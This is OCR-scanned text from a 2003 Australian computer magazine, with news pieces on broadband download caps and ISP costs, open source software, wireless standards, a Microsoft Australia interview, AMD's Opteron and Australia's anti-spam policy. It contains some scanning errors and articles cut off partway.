from free-to-air television in the hope that 
customers don't notice the poor value of the 
product. Given that AOL|7 is targeting an 


audience uninterested in bits and bytes, one 
has to admit it's a clever (albeit slightly devious) 
business strategy. 

Robert Hutchinson, interface manager 
at ABC Online, told APC that consumers 
must be able to choose what they look at on 
their Internet connection, or online media 
industries will fall. 

Hutchinson says download caps stop 
consumers freely enjoying broader Internet 
content, and are designed to hedge them into 
watching an ISP's supplied content. 

Senator Lundy agreed, saying, "I think 
it's symptomatic of having a very dominant, 
monopolistic carrier that has media aspirations." 

Some consumer groups even claim that 
capping on broadband services has cost jobs 
in local industries that rely on bandwidth. 

For example, the film post-production 
industry in Sydney has lobbied for better 
broadband rates from carriers. "The film 
post-production industry in Australia is 
poised for growth," said Judy Tucker of Fibre, 
the film industry's bandwidth lobby group. 

"We can work while our clients in LA sleep — 
a major competitive advantage. 

"But we have trouble competing with the 
post-production studios over the road in LA 
when we can't effectively move files around 
the world at a reasonable cost. Bandwidth 
costs are by far the highest expense post¬ 
production studios have today," she said. 

"I have never come across an industry like 
retail broadband where, if you use more, the 
price actually increases." 

Gaming giant Vivendi Universal takes 
a pessimistic view of Australia's chances of 
broadband adoption while download caps 
prevent players from being able to play 
games on international servers. "Korea has an 
82% broadband penetration. If we ever want 
to get to that level in Australia, broadband 
ISPs need to drive penetration much harder," 
Pascal Brochier, the MD of Vivendi Games, 
told journalists last year. "Multiplay is the 



fastest-growing segment of the interactive 
entertainment market." 

Even Microsoft has thrown up its hands over 
the parlous state of broadband in Australia, 
saying its Xbox Live! users will simply have to 


Continued on page 17 
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Open source comes of age 


The time is now for open source | 
content management. 

When the Open Source Content 
Management Conference (OSCOM) kicks 
off at Harvard University on May 28, it will 
herald the movement's coming of age. With 
a who's who of open source in attendance 
— everyone from mozilla.org to Red Hat 
Software — the message is clear. Industry, 
organisations and academia are making a 
concerted effort to reap cash from online 
content provision tools. 

Make no mistake, money is there 
to be made. When the Department for 
Communications, Information Technology 
and the Arts (OCITA) got into hot water over 
its $4 million Web site bill, a large part of the j 

blame was levelled at the choice of Vignette | 

for the content management system. Critics ! 
argued that the system, usually used for 
complicated apps like online banking—was i 


overkill for the site. The Vignette software bill of 
more than $800,000 made a juicy target. 

Taxpayer-funded lessons in the reality of the 
content management software business aside, 
open source content management solutions are 
a compelling alternative for enterprise clients 
and developers. Ongoing servicing forms an 
integral part of any content management 
financial model, and it's the promise of ongoing 
cashflow that lures pragmatic developers wary 
of less financially robust open source projects. 

The undertakings of most open source 
CMS providers are no mere extension of a 
Weblog back end. The open source variants 
attempt to offer the same kind of feature set 
as their closed source counterparts. A quick 
look at the offerings on OSCOM's content 
management framework/systems overview 
(www.oscom.org/matrix/index.html) reveals 
an array of projects with designs that range 
from elegantly simple to byzantine. Staging 
and test environments, commercial application 
support, multiple platform output and support 


for every database on the market typify this 
maturing breed. And despite their varying 
features and complexity, these solutions are 
ready for deployment now. And the same 
arguments that have long been held up in the 
! "open versus closed source" debate (access to 
I source code, rapid fix turnaround time, and 
j lower costs) apply here as well. 

I While our Government tries to come 
j to grips with open source, the content 
management message may take some time 
to get through. While DCITA was finalising its 
j site redevelopment, the National Office of the 
i Information Economy (www.noie.gov.au) 
j convened a seminar, "Open Source Software 
1 and the Role of Linux in the Public Sector". 

1 Its subsequent press release stated that IT 
i Minister Richard Alston told attendees: "the 
j Government will continue to encourage 
I and assist agencies to seriously consider all 
I alternatives in their purchasing of information 
j technology solutions." 

Justin Kranzl 


Where your broadband plan fee goes 

Critics say broadband costs too much in Australia. APC persuaded an industry insider to reveal confidential 
details of a typical $95 unlimited plan. 
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TELSTRA ADSL CONNECTION 
CHARGE: $46.22 

Telstra is the only wholesale 
ADSL connection provider for 
residential customers. For an average 512Kbit/ 
s connection, your ISP pays Telstra about 
$46.22. Large ISPs get discounts of between 
10% and 20%, depending on their size. 



22.65 


► Piece of pie: how a $95 unlimited 5 i2Kbit/s plan adds up. 


Telstra charges more for regional 
connections, but many ISPs absorb these costs. 
This figure assumes a mix of 85% metro, 10% 
regional and 5% outer regional customers. 

CONNECTION BETWEEN ISP AND 
TELSTRA: $4.81 

ISPs have permanent connections 
to Telstra's ADSL network so 
customers can access the ISP at a good clip. 

ISPs oversell these links, knowing that not all 
customers will use their Net connection at 
once. This is called "contention ratio". Quality 
ISPs don't oversell their bandwidth more than 
30 times, and many have excess usage penalty 
schemes to discourage customers from using 
their connection non-stop. 

INTERNET DATA: $22.65 

Internet data is sold wholesale by 
speed of delivery — not megabytes. 

Provided ISPs lock into large, long-term 
contracts, Internet data at IMbit/s costs about 
$1,500 a month. That high price is justified 
because your ISP will use that full bandwidth 




all the time, whereas a home user typically uses 
the connection only in occasional bursts. This 
price assumes the ISP has a contention ratio of 
30:1 — about 14Kbit/s of data guaranteed for 
each 512Kbit/s connection. Real performance 
will be better because not all 30 users will be 
downloading at once. 


OVERHEADS: $5 

ISP overheads include technical 
maintenance, helpdesk costs, 
staffing, building facilities, power, 
hardware, billing systems and capital 
depreciation of network hardware. 


GST: $8.86 

The Government gets 10% of your , 
monthly plan fee in GST. 


GROSS PROFIT: $8 

Because of fierce competition, some ISPs are 
selling plans at wholesale cost in an 
attempt to grab market share. ISPs 
gradually increase costs to make a 
few dollars profit per month. 















Wireless MAN adds to the confusion 


The Wireless Metropolitan Area Network (MAN) is here, but in the face of 
rising confusion over wireless standards, should you care? 


The Biblical story of the Tower of Babel must 
strike a chord with wireless networking 
consumers. The cautionary tale relates how 
man attempted to create a tower that reached 
up to heaven, so God scattered humanity 
across the globe and introduced different 
languages to sow confusion. If that sounds like 
a familiar scenario, odds on you've attempted 
a wireless solution. The range of wireless 
"standards” in the market assures consumers of 
only one thing — no matter what you buy, it's 
bound to be incompatible with something. 

Take the new flavour of the month, 802.16a. 
Originally published in April 2002,802.16 has 
been gathering momentum as a solution 
that delivers on a lot of Wi-Fi's promises, and 
standards body IEEE approved the amended 
802.16a format in January. Also known as 
Wireless MAN, the lower frequency 802.16a 
range (2-11GHz) offers lower data throughput, 
making it eminently suitable for less expensive, 
consumer grade applications. The big drawcard 
for the standard is that it has an operational 
range of 30 miles (48 kilometres), which means 
that a 802.16a ISP can theoretically compete as 
a broadband provider without spending big on 
infrastructure. 

The experts claim that the likes of defacto 
standard 802.11 and newcomer 802.16a 
complement each other and don't compete. 
The IEEE regards 802.11 as an intra-building 
technology and 802.16 as inter-regional. 
Telecommunications analyst Paul Budde 
agrees, but thinks the standards need further 
clarification. "It's more of a progression rather 
than anything else. There are at least half a 
dozen [standards] — you have to be careful. 

"The technology isn't mature; there 
are issues with standardisation, security 
and interference. Eventually someone will 
find a technological solution." He regards 
technological issues as secondary to financial 
imperatives. "Business modelling is the 
greatest issue. Nobody's making money from it. 
There are 802.11 b hotspots in Starbucks... 
No-one wants to spend time in there 
[computing]. Providers are on the wrong track." 

Optus obviously doesn't move in the 
same circles. The telco recently announced 
it would spend $10 million creating 500 new 
hotspots in business-friendly locations across 
the nation. Tellingly, Optus Mobile is handling 
the project, not Optus' Internet division. 


Farming out the responsibility for wireless 
connectivity to the Mobile division may not 
just be an exercise in funds allocation, either. 
The MD of Optus Mobile, Allen Lew, regards 
Wi-Fi as "an evolutionary progress towards 
3G". He was reticent on the topic of wireless 
broadband for the home. Given that Optus is 
yet to launch an ADSL service to partner its 
broadband cable business, nobody is holding 
their breath for a consumer-grade offering in 
the immediate future. 

Budde regards this approach as being 
indicative of the strategy adopted by dominant 
telcos Telstra and Optus. He calls wireless 
broadband a "disruptive technology", saying 
"802 disrupts fixed offerings. [Large] operators 
have two choices. They can ignore it (which 
they've done to a certain extent), or they can 
try to dominate the market. Not dominate in 
an aggressive manner, but in a defensive way, 
making sure no-one else can enter the market." 
Budde suggests that "if history is any indication, 
they will attempt to dominate defensively". 

Telstra doesn't agree. When asked if the 
company regarded wireless as a threat to its 
wired business model, spokesperson Kerrina 
Lawrence said the opposite was true. "It is in 
[Telstra's] interest to provide Australia with 
high-speed solutions. People said the same 
thing about ADSL, that it would affect ISDN 
— ISDN is still holding strong... It will take time 
for wireless to have an impact." Telstra's Head of 
Broadband, Justin Milne, reinforced the point. 
"We're trialling a number of technologies. It's an 
important space for BigPond to be active in." 

Telstra's foray into wireless — buying into 
Wi-Fi company SkyNet Global and offering 
hotspot access at places like McDonald's — is 
still tentative. And 802.16 isn't on the horizon. 
"There are no immediate plans to offer 802.16 
services. Our current focus is 1XRTT and 
802.11 b," Lawrence said. Telstra weighed a 
standard's commercial maturity, advantages 
relative to other wireless services, the ease 
of adoption by consumers, and cost before 
adopting it, she said. 

Meanwhile, Budde believes the market will 
remain in disarray until a coherent message 
is sent to consumers. "There are so many 
standards people get scared. It's one thing for 
engineers, but the customer is saying 'You guys 
sort it out before you come to us'." 

Justin KranzI 


High Wi-Fi 

What can we say about 802.11 b? It's great 
technology, but the distance-to-performance 
ratio makes it look inferior to other offerings. 
American-based 5G Wireless Communications 
claims to have rectified this problem. The 
company's WWAN (Wireless Wide Area 
Network) solution claims to extend 802.11b 
"eight to 10 miles". The kicker? Line of sight is 
no longer needed to get a consistent signal. 

Three transmission hubs --- capacity 
250 users each ~ are situated on the same 
premises, providing redundancy and a 
750 user limit per installation. The signal 
transmission makes use of Direct Sequence 
Spread Spectrum (DSSS) technology. DSSS 
splits a signal into segments wrapped in a data 
sequence known as a "chipping code". The 
segments are then transmitted individually 
via a dedicated frequency channel. The higher 
bit rate chipping code allows for recovery of 
scrambled data bits and helps prevent signal 
interference. This method results in a more 
efficient and reliable transmission. 


download cap 

I ■ Continued from page 15 

play on international gaming servers and work 
out the best deals they can with their ISPs. 

And while overseas broadband users 
enjoy the benefits of feature-length movies 
on demand, Australian film distributors 
won't even consider the option with 
download caps in place. 

Yet, at the time of writing, none of the 
major carriers had budged on their position 
of broadband caps with low limits. Telstra did 
raise its entry-level 300MB plan to 500MB after 
intense criticism from consumer groups. Telstra 
was also pressured after staff members at one 
of the company's subsidiaries went public with 
the startling news that playing an online game 
for just three hours a week for a month would 
send a user over the limit. 

But as long as the carrier continues 
telling consumers that 500MB for $65 is 
good value, we may not see the benefits of 
lower international bandwidth prices for 
sometime, tillld 
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Exchange: Steve Vamos 

A caring, sharing Microsoft? New Microsoft Austraiia boss 
Steve Vamos has orders to fix Redmond's flagging pubiic 
image and secure its upgrade-fueiied cashfiow. 



Microsoft is under siege. After iong, lazy days 
as the unquestioned "safe buy”, the software 
juggernaut has suddeniy found alternative and 
predominately open source solutions nipping 
at its heels. The recent dash to Australia by 
Microsoft CEO Steve Baiimer — afterTeistra 
publicly toyed with Linux — was just one 
indication of the software giant's increasing 
vuinerabiiity. 

There are also fears within the company 
of an over-reiiance on upgrades. Having 
attained desktop dominance — and almost 
reached its goal of nearly every PC running 
Microsoft software — has the company miiked 
its cash cows dry? 

Convincing punters to pay hundreds of 
dollars to step up to yet another latest version 
of Windows and Office is becoming more 
difficult, especially with Linux, OpenOffice.org 
and StarOffice becoming credible choices. 

Interwoven with all this is a seemingly 
unshakeable image. Microsoft the monopolist. 
Microsoft the bully. Microsoft the player of dirty 
tricks both on and off the field. 

Microsoft Australia's new MD, Steve Vamos, 
doesn't doubt that he's taken on a tough job. 
Having previously headed ninemsn (the joint 
venture between Microsoft Australia and PBL, 
the parent company of ACP, publishers of this 
magazine), Vamos is no stranger to Microsoft. 
He's also spent four years at Apple Australia, 
and before that more than a decade at IBM 
Australia. Now he wants to put a softer face to 
the behemoth. 

What does it mean when Microsoft says it 
wants to change its image? 

It's about taking our focus well beyond the 
product focus we've had. We've succeeded on 
the back of some great products over the years, 
but the executive management now believes 
that the company is at a point where we need 
to become more customer focused. That's the 
opportunity I've been given: to broaden our 
business from being product focused to being 
more customer focused. 

But aren't Austraiians cynicai about this sort 
of thing? 

Definitely. That's probably the biggest challenge 
—people asking are we really serious about 
this? it's our behaviour, our relationship and 


the way that we project our attitudes, the way 
we treat peopie outside our company. It's really 
important [we're] respectful and sensitive and 
with customers in mind. 

So what changes at Microsoft Australia? 

In Australia, we will have executives that are 
responsible for that product line [based] in 
Australia. We'il have a strong iinkage between the 
customers in Australia and the team that develops 
the products [in Redmond] — they'll have a direct 
iineinto the product group. That's going to make 
a big difference in terms of connecting the product 
deveiopment teams with customers. 

We have peopie who understand banking, 
talking to customers in that industry. Similariy, 
in the teiecommunications and pubiic sector, 
we will align with those customer segments. 

For us we think it's critical. It's moving away 
from saying, "Here is anew Microsoft product. 

Here are the new features and here is the price", 
to "Here's anew Microsoft product. Here's how 
it appiies to you, and here's the vaiue and benefits 
you'ilget...". 

Aren't peopie getting nonpiussed about 
Microsoft's upgrades? 

Look, I think to a certain extent, there's no 
question that the compiexity of IT has increased. 

So we do need to be closer to our customers 
and better understand their business to be abie 
to advise them on how to get value from our 
software. The most clear example is XML Web 
services and our.NET platform: you really need to 
be close to the customer in order to demonstrate 
and articuiate the benefits. 

The industry is more mature. What was 
happening a few years ago is people were just 
buying PCs to get on the internet, or to get 
Y2K-compliant. Back in the mid 90s, they were 
buying computers for the home for the first 
time. Growth was faster. Now, in order to get 
customers to commit to an upgrade, they want 
to see what the value Is, it's not just 'here's the 
iatest product, here's the price, and have a iook 
at this whiz bang feature.' 

But what about price? Microsoft upgrades 
are increasingiy expensive for home users. 

Right now, a consumer can buy a Windows XP- 
based personai computer at prices that were 
unheard of two or three years ago. Have a look 


Is it legal to ... 

bet online on sports in progress? 


: No, it isn't. While it is legal to do so via j 

phone or in person, betting online on events | 
, unfolding within a sports match is presently [ 
illegal. Betting on race events is likely to j 

; remain this way, however the TAB is ' 

, pushing for the ban to be lifted on other i 
sporting events. ( 

The Government has been reluctant to ; 
accept the TAB'S recommendation, with IT ; 
Minister Richard Alston's office claiming that ; 
online betting after the opening whistle is i 
more likely to lead to problem gambling. 


at HP and Dell — look at the functionality you're 
getting for under $2,000.1 don't see price as the 
issue, if there's something we could be doing more 
of, it's about awareness and excitement — 
driving that in much the way some of the 
hardware vendors. 

Pricing is not something we don't iook at. it 
is something we aiways look at, and will always 
consider, it's just one of those things that you 
can't speculate on. That speculation is 
meaningiess. We did exciting things in the 
academic space with back to schooi and back 
to university Office bundles. 

Is there a problem with the "Microsoft 

Steve Ballmer defined new values for Microsoft 
about 12 months ago. What we're doing now 
is working to express that in ways that are 
meaningfui. It means getting people to rethink 
and rechallenge the way that we do things. At the 
moment everyone is being encouraged to rethink 
and challenge what we're doing they're things 
that strengthen our relationship with customers. 
We are driving a workshop that every staff 
member will do. We talk through the Microsoft 
values. For example, one of them would be 'open 
and honest'. So we talk about how we all say 
we're open and honest, [but] what does open and 
honest really mean? 

Doesn't interest in open source and Linux 
threaten Microsoft? 

For many years Microsoft has had strong 
competition. Having worked for those 
competitors, there was not a moment of the 
day that I didn't believe I had a good aiternative 
to Microsoft. The competitive environment is 
nothing new to us, we have to run faster, we 
have to do better all the time to keep our 
customers with us. EOIH 
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Opteron’s day in the sun 



It's taken 105.9 million transistors, but 
AMD has finally launched Opteron. 

Despite the sneers of Intel diehards, the latest 
AMD CPU is no two-bit piece of CPU tech. 
Opteron is proudly 64-bit, the first ever CPU 
that is compatible with x86 architecture. 

Its target? The lucrative corporate server 
market dominated by the iikes of Intel, HP 
and Sun Microsystems. 

The CPU not only runs 32-bit software but 
higher-end 64-bit apps being designed for the 
architecture. The ability to run 32-bit apps is 
critical, as the bulk of apps available fall into this 
category. By including native 32-bit support, 
AMD also avoids having to go down the less 
efficient emulation route. 

And while "shoulds", "wills" and "intends” 
are scattered around liberally whenever AMD 
talks about the CPU's future, it's off to a flying 
start. Heavyweights Microsoft, Red Hat and 
SuSE have demonstrated a willingness to work 
with AMD at an operating system level, and 


IBM and Fujitsu Siemens are on 
the list of hardware developers 
refining tools for a 64-bit world. 

More work is required, 
however. AMD is desperate for 
cash. The company has slashed 
Jobs and costs as it continues 
to report large quarterly losses. 

Selling lots of home-level CPUs 
is not enough — it needs to 
crack the enterprise market to 
turn around the balance sheet. 

AMD is trying to sell big business on Opteron's 
memory handling and HyperTransport features. 

It has incorporated the memory control and 
multiprocessor handling features of the 
Northbridge into the chip. 

An Opteron system is capable of addressing 
up to 256 terabytes of virtual memory courtesy of 
a 128-bit data path. The scalability of the chip is 
limited to eight Opteron processors, after which 
dedicated systems must be built. HyperTransport 
is AMD's term for an optimised I/O data path 
— boasting a peak bandwidth of 19.2GB/S. 


Opteron's impact on home users will be 
minimal. Just as Intel successfully sold the Xeon 
to enterprise, Opteron is intended to be a server 
and heavy-duty back-end solution. 

The long-awaited AMD64, previously 
known as "Hammer", is another matter. Made 
for home use, the AMD64 will have only one 
HyperTransport link, as opposed to Opteron's 
three. Consumers will find out if 64-bit 
computing makes a difference to their daily 
routine in September. 

Justin KranzI 
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“It’s like a CB radio with pictures” 


FM radio duo Merrick (at left) and Rosso explain Hutchison's new third-generation 
mobile phone network. Dubbed “3”, the network is available only in Sydney and 
Melbourne, and allows customers with special handsets to make person-to-person 
video phone calls, as well as send email, text, download news and play games. 
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Amount a Sydney bus driver allegedly stole from the 
Commonwealth Bank's NetBank site. He tricked Internet 
users into sending him their passwords. Similar scams 
have targeted customers of the Sydney Opera 
House and eBay. 
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Choking on spam 

In a bid to revive his flagging career, the IT Minister championed the 
fight against unwanted email. But he succeeded only in undermining his 
Government's credibility. Legislation may be the politically palatable 
solution, reports Garth Montgomery, but industry wants results. 


It was a couple of weeks the Minister of 
Communications and IT, Senator Richard Alston, 
will never forget. While the outcry over his use 
of a free plasma TV from Telstra was still in the 
air, there were revelations taxpayers had forked 
out $4 million for the Minister's Web site. Then 
came a king hit. 

His long-awaited blueprint for revitalising 
the IT sector. Framework for the Future, was 
roundly rejected by the industry. It was a blow 
so strong it led to speculation that Alston would 
be ousted by the end of the year, at the time of 
the Prime Minister's rumoured retirement. 

But at the end of perhaps the darkest storm 
in the Senator's seven years as IT Minister, a ray 
of hope shone; spam. All politicians need to 
look tough on something. Senator Alston would 
be tough on spam. He would legislate. 

On 16 April, Department of 


Communications, Information Technology and 
the Arts (DCITA) agency the National Office 
for the Information Economy (NOIE) handed 
Senator Alston its final report. He endorsed 
the recommendations in the report, titled The 
Spam Problem And Flow It Can Be Countered, and 
began a media blitz trumpeting it as his own 
tough stand against spam. 

However, its findings were in stark contrast 
to the interim report published in August. This 
report was clear in its recommendations. It 
backed away from a legislative route, despite 
evidence the volume of spam grew by a factor 
of six in the time that NOIE began looking 
into the problem. The Interim report stated 
that legislation would "not eradicate or 
minimise spam, given the difficulties in 
identifying spammers, the global nature of 
the Internet, and competing enforcement 


priorities faced by regulatory agencies". 

Instead the interim report recommended 
the "right balance of regulatory, self- 
regulatory, technical and consumer awareness 
approaches." The report was roundly 
condemned by stakeholders and the media. It 
was seen as yet another example of how the 
embattled Minister and his department were 
grappling ineffectively with serious IT issues. 

The Senator responded by calling for further 
public comment on the proposals before a final 
report was delivered in November. But the key 
stakeholders hadn't changed their position. 

Technology companies said emerging 
technical solutions and user education were 
the way to go. ISP lobby group Internet Industry 
Association (IIA) wanted to tackle spam, but 
didn't want to be held legally responsible for 
content filtering. It too wanted a mixture of 
conduct codes for marketers and ISPs, technical 
solutions and user education. Naturally, ISPs 
would happily distribute fixes and information 
in return for a small fee to cover any costs. 

Stakeholders proposing complicated 
solutions or measures deemed to be at odds 
with DCITA were marginalised. The Australian 
Consumer Association wanted a costly licensing 
board set up to collect fees from "marketers" 
for the privilege of spamming. An unpopular 
idea with one of the primary stakeholders 
protecting business interests, the Australian 
Direct Marketing Association (ADMA), this idea 
was quickly buried. 

The hardline stance of legislating against 
spam also looked like being buried, despite the 
push by CAUBE (Coalition Against Unsolicited 
Bulk Email). It held the most extreme view of all 
stakeholders and it wasn't budging: it wanted 
spam banned outright. 

The group had achieved success with global 
partners in Europe and demanded that the 
Australian Government emulate the European 
Union Parliament in outlawing spam and 
introducing punitive measures as a deterrent. 

Since March 1999, the EU Commission and 
stakeholders have been drafting proposals and 
directives, and holding debates and voting on 
the issue of spam. It's been a slog. The Direct 
Marketing Associations in Europe have loud 
voices and deep pockets. The first vote on 
anti-spam laws was defeated In May 1999. 

Legislation was proposed again in July 
2000, this time as part of an ecommerce privacy 
directive. But by October 2001, the European 
Parliamentary Committee had changed its tune 
to favour softer proposals, such as Opt-out 
(which means users who don't want to receive 
unsolicited email Just have to reply and say so). 

Korea followed the Opt-out model with 
legislation that had disastrous effects. Spam 



spam 










volumes increased by a factor of 12 in less than 
a month, according to CAUBE research. Now, 
Korea is working with CAUBE on anti-spam 
laws to stop myriad spammers using its open 
relay servers, which has led ISPs worldwide to 
blacklist and block traffic from Korea. 

By May 2002 the EU had changed tack again, 
this time to Opt-in legislation, meaning users 
wanting to receive it had to ask for spam. The 
EU plans to enact anti-spam laws on October 31 
and CAUBE in Australia — given the experience 
in Europe and Korea — would accept no less a 
position from the Australian Government. 

But its voice was only faintly heard in the 
year-long spamathon by various government 
departments and the mostly commercial 
industry stakeholders. CAUBE's extreme view 
was deemed impossible to implement locally, 
there was little chance of catching spammers 
abroad, and it threatened a potentially lucrative 
new market in software sales and services 
from tech firms and ISPs (see APC May, page 
24). Certainly the Government's interim report 
revealed disdain for CAUBE's uncompromising 
views by dismissing any serious notion of anti¬ 
spam legislation. 


decision once you understand the issues and 
various drawbacks of other approaches [to 
spam]," he says. It was a question of whether it 
was politically possible, he says, and the public 
response to the report indicated that legislation 
was the best solution. 

But observers say external issues influenced 
the Minister, convincing him to opt for a popular 
policy. During a politically stormy couple of 
weeks, when he was copping endless public 
beltings, spam was an expedient circuit-breaker. 

Work began on the final report immediately 
after the deadline for public comments on 
September 13. The feedback and media 
coverage overwhelmingly indicated that the 
interim report was bad news. That same month, 
the interim report's author, Allan LeBusque, was 
replaced by Lyndsay Barton, who would write 
the final report. The directive to install Barton 
came from Senator Alston's top man at NOIE, 
general manager Tom Dale. 

After trying to update the interim report 
to reflect new feedback and the community 
backlash. Barton realised the task was hopeless. 
"It wasn't working, so we started to rewrite it 
from scratch with a strong reasoning basis and 


Government had failed to help local businesses 
compete internationally and that the nation's 
trade deficit in IT goods and services had 
swelled to $11 billion. 

The IT industry was expecting detailed 
financial commitments from the Government, 
as well as policy timeframes and measurable 
targets. Concrete measures to bolster research 
and development were expected, as were 
improvements to technology education and 
new industry development programs to help a 
sector slugged by a global downturn. 

On the eve of its release, the media was 
devouring Senator Alston because of revelations 
of a Web site budget blowout. The DCITA site — 
considered simple and functional at best — was 
originally quoted as costing $600,000. The final 
bill to taxpayers was $4 million, an omelette in 
the face of a Minister seemingly out of his depth. 

Senator Alston wore the flak and focused on 
delivering the Enabling the Future blueprint. It 
was due in less than two weeks and the media 
frenzy over the Web site costs would exhaust 
itself quickly. The site was "overly ambitious", 
a spokesman for the Minister told APC. It was 
messy but contained. 


During a politically stormy couple of weeks, when he was copping 
endless public beatings, spam was an expedient circuit-breaker. 


Generally, stakeholders thought an interim 
report as thorough as this one (it was 12 months 
in the making) was part of standard process and 
would be rubber stamped for final release. 

So what changed after an interim report that 
thoroughly investigated solutions for spam and 
concluded that legislation was not the way to 
go? Why did the final report propose tough laws 
that were quickly endorsed by the Minister? 

The Minister declined to talk to APC. 
However, a department spokesman said the 
reason for the change in direction was because 
the spam problem had worsened since the 
interim report was released. CAUBE refutes this, 
however, saying spam continues to grow in 
volume each month, but the increase between 
the interim report's release in August 2002 and 
delivery of the delayed final report in April 2003 
was negligible. 

Certainly the position of the EU Parliament 
was unchanged and well known during the 
14-month spamathon. Korea's disastrous 
experiment with Opt-out was also known at the 
time of the interim report. 

Buoyed by the victory, local CAUBE head 
Troy Rollo says he was always confident of a 
legislative outcome. "It was so clearly the right 


added a new chapter of consumer education 
resources," he told APC. The December deadline 
for the final report was extended. 

In February, a Senate estimates committee 
quizzed Senator Alston about an entry in the 
interests register declared in September. It was 
revealed that he had accepted a $10,000 plasma 
TV from Telstra. The news did nothing for the 
Minister's image and, when he was called to 
account in Parliament, it was revealed that the 
Prime Minister, John Howard, also had a plasma 
TV "on loan" from Telstra. 

With political pressure mounting and a 
tarnished image, the Senator was desperate 
for good news. But the rewriting required to 
produce a politically favourable report delayed 
NOIE's final report on spam until the end of 
March, nearly six weeks after the "Plasmagate" 
scandal. The opportunity to win community 
and industry acceptance had passed. Industry, 
media and Opposition now focused on the 
long-awaited Framework for the Future blueprint 
— later renamed Enabling the Future. 

Big things were expected from this 
blueprint, namely a significant new vision 
for the $77.5 billion IT sector. A report from 
McKinsey and Company stated that the Federal 


Eleven days after the Web site revelations. 
Enabling the Future was slammed on the front 
page of The Australian Financial Review. It wasn't 
what the senator was hoping for. 

Many of the 14 industry members on 
the committee, chaired by Senator Alston, 
that developed the blueprint, disassociated 
themselves with the report, saying their 
submissions of six weeks earlier were barely 
recognisable. DCITA had rewritten the blueprint. 
There was no money for the industry from 
government. No policy timeframes and no 
measurable targets. The recommendations 
passed responsibility to the States, industry 
bodies and university researchers. 

The industry's rejection led to fevered 
speculation that Senator Alston was a political 
dead man walking. The Prime Minister has 
indicated he will announce in July whether 
he will retire at the end of the year, and is also 
expected to announce cabinet reshuffles as the 
path is cleared for Treasurer Peter Costello to 
take over as Prime Minister. 

Senator Alston could barely defend the 
speculation his days were numbered, telling 
newspapers: "Well, my future is probably not in 
my hands, it's in the Prime Minister's...". 
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T he obstacles to effective anti-spam laws 
are massive, and DCITA has barely started 
considering how to implement its Holy Grail 
policy. Chief concerns are which Acts should 
be ammended to include anti-spam provisions, 
and which authority would be responsible for 
enforcing such laws. Further, where would the 
funding and resources come from, and how 
would success be evaluated? 

The final report indicates that DCITA won't 
be setting up a separate regulatory body 
to monitor and prosecute spammers. "The 
regulatory regime in Australia to deal with the 
content of spam appears generally adequate," 
it states. Rather, anti-spam provisions would 
be peppered throughout existing Acts. The 
regulatory bodies already enforcing those Acts 
would add spam to theirTo Do list. 

The Opposition spokesperson on IT, Senator 


This is perhaps the least effective option for 
dealing with spam, says the final report. "The 
cost of investigating, initiating, and pursuing 
any civil action almost always outweighs 
the benefits of any potential judgement." 

The report is strongest in its advocacy of the 
need for a co-regulatory model involving the 
industry and government. The wisdom is that 
through both self-regulation and legislation, 
any problem can be controlled or minimised. 

The HA code of conduct would prohibit 
ISPs from sending spam to recipients who 
don't ask for it. The ADMA code restricts how 
private information is obtained and used by its 
members, but doesn't restrict non-members 
— typically hawkers of illegal content. 

Critics say such codes pay lip service to laws 
and can't be enforced despite their political 
appeal. An example is the Interactive Gambling 


There is no law requiring a spammer to 
be given consent to spam an email address. 
The Privacy Act provides that the collection 
of email addresses from public sources may 
require an individual's explicit consent. But 
this has never been tested. Still, the Privacy 
Act is being considered for anti-spam 
amendments. The final report suggests the 
National Privacy Principles be changed to 
make spammers tell recipients they have their 
email address and give them a way to opt-out 
of being spammed. 

This approach has failed in 29 US states 
and Korea. Indeed, NOIE's report states 
"... there seems to be limited enforcement of 
the responsibilities under the Act". Perhaps this 
is because local spammers contribute as little as 
3%, on CAUBE's estimation, of the total volume 
of about seven billion daily spams worldwide. 


... the Minister must enact an eftective poiicy against spam, or 
eise promote iegisiation that has the ciout of a wet noodie. 


Kate Lundy, has labelled this "dodo-headed", 
given that regulatory bodies handling online- 
related laws are chronically under-resourced. 
The final report acknowledges this, stating 
there is an "ongoing issue for regulatory bodies 
in terms of resourcing and priorities". 

Either way, the recommendations of the 
final report point to the Broadcasting Services 
Act 1992 to minimise offensive spam. The cost 
of this exercise is under Budget review as the 
advisory body has demanded $10 million from 
the Government to continue the operation for 
the next three years. The Department refused 
to confirm whether it has asked Treasury to 
continue funding NetAlert. 

Even if spam doesn't contain offensive 
material, the final report acknowledges that an 
influx of unwanted email ties up bandwidth and 
computer resources. Faced with undue cost and 
potential damage, the report acknowledges 
legal remedies under the Criminal Code 1995. 


and Online Content scheme, designed to 
minimise Australians' exposure to local Internet 
gambling and porn sites. 

The Interactive Gambling Act made it an 
offence to provide online gambling services 
to anyone physically present in Australia. 
Legitimate Australian companies relocated 
servers to Vanuatu and today still can't serve 
Australians. The HA code ensures that ISPs 
make such gambling sites unavailable once a 
complaint has been lodged with the Australian 
Broadcasting Authority. 

It's the same situation with porn. While 
pornographic and gambling sites are legally 
forbidden from serving Australians, both laws 
recognisethedifficulty in winning prosecutions 
and the impossibility of completely controlling a 
global medium. These laws and their associated 
regulatory bodies focus on dealing directly with 
Australian-hosted sites and sites that the ABA 
receives complaints about. 


Another problem is that email addresses 
not using a person's name aren't regarded 
as personal information under the Privacy 
Act, and the report is blunt in admitting the 
Privacy Commission's resources are next to nil: 
"Conflicting priorities and resource constraints 
may also limit the ability of the Federal 
Privacy Commissioner to target spam-based 
complaints in the immediate future." 

Lastly, the final report recommends that 
the Government promote coordinated action 
bilaterally and in forums such as OECD and 
APEC. It's a big job and although leaders in 
Europe, Korea and the US have indicated 
willingness to tackle spam, it remains unclear 
how new legislation could work. 

In what is predicted to be his swan song, 
the Minister must enact an effective policy 
against spam, or else promote another piece of 
legislation that has the clout of a wet noodle. 

Only time will tell which it will be. ETLIS 
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Print speeds so incredible, even the colours hold fast. 
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CoDe cHaOS 


Their mission is to take on the foe that is Microsoft's regimented army of programmers. However, as William Maher 
reports, open source software projects are often their own worst enemy. 


imagine having to teii thousands of unpaid 
hackers who have spent years toiiing away on 
your software that somewhere aiong the iine, 
somehow, the project went off the raiis. 

Such a scenario occurred recentiy when 
Moziiia — the open source competitor to 
Microsoft's Web browser — admitted that 
the "target audience of the suite was never 
ciear". Not ciear? That's demoraiising news 
when you're the poster chiid for thousands of 
community software projects the worid over. 
What went wrong? 

Five years after taking on Microsoft by 
creating Moziiia, AOL/Netscape discovered 
something other open source projects aiready 
knew; the movement is a beast that's hard to 
tame, it's popuiated by professionai coders, 
but there's aiso a jumbie of bedroom hackers, 
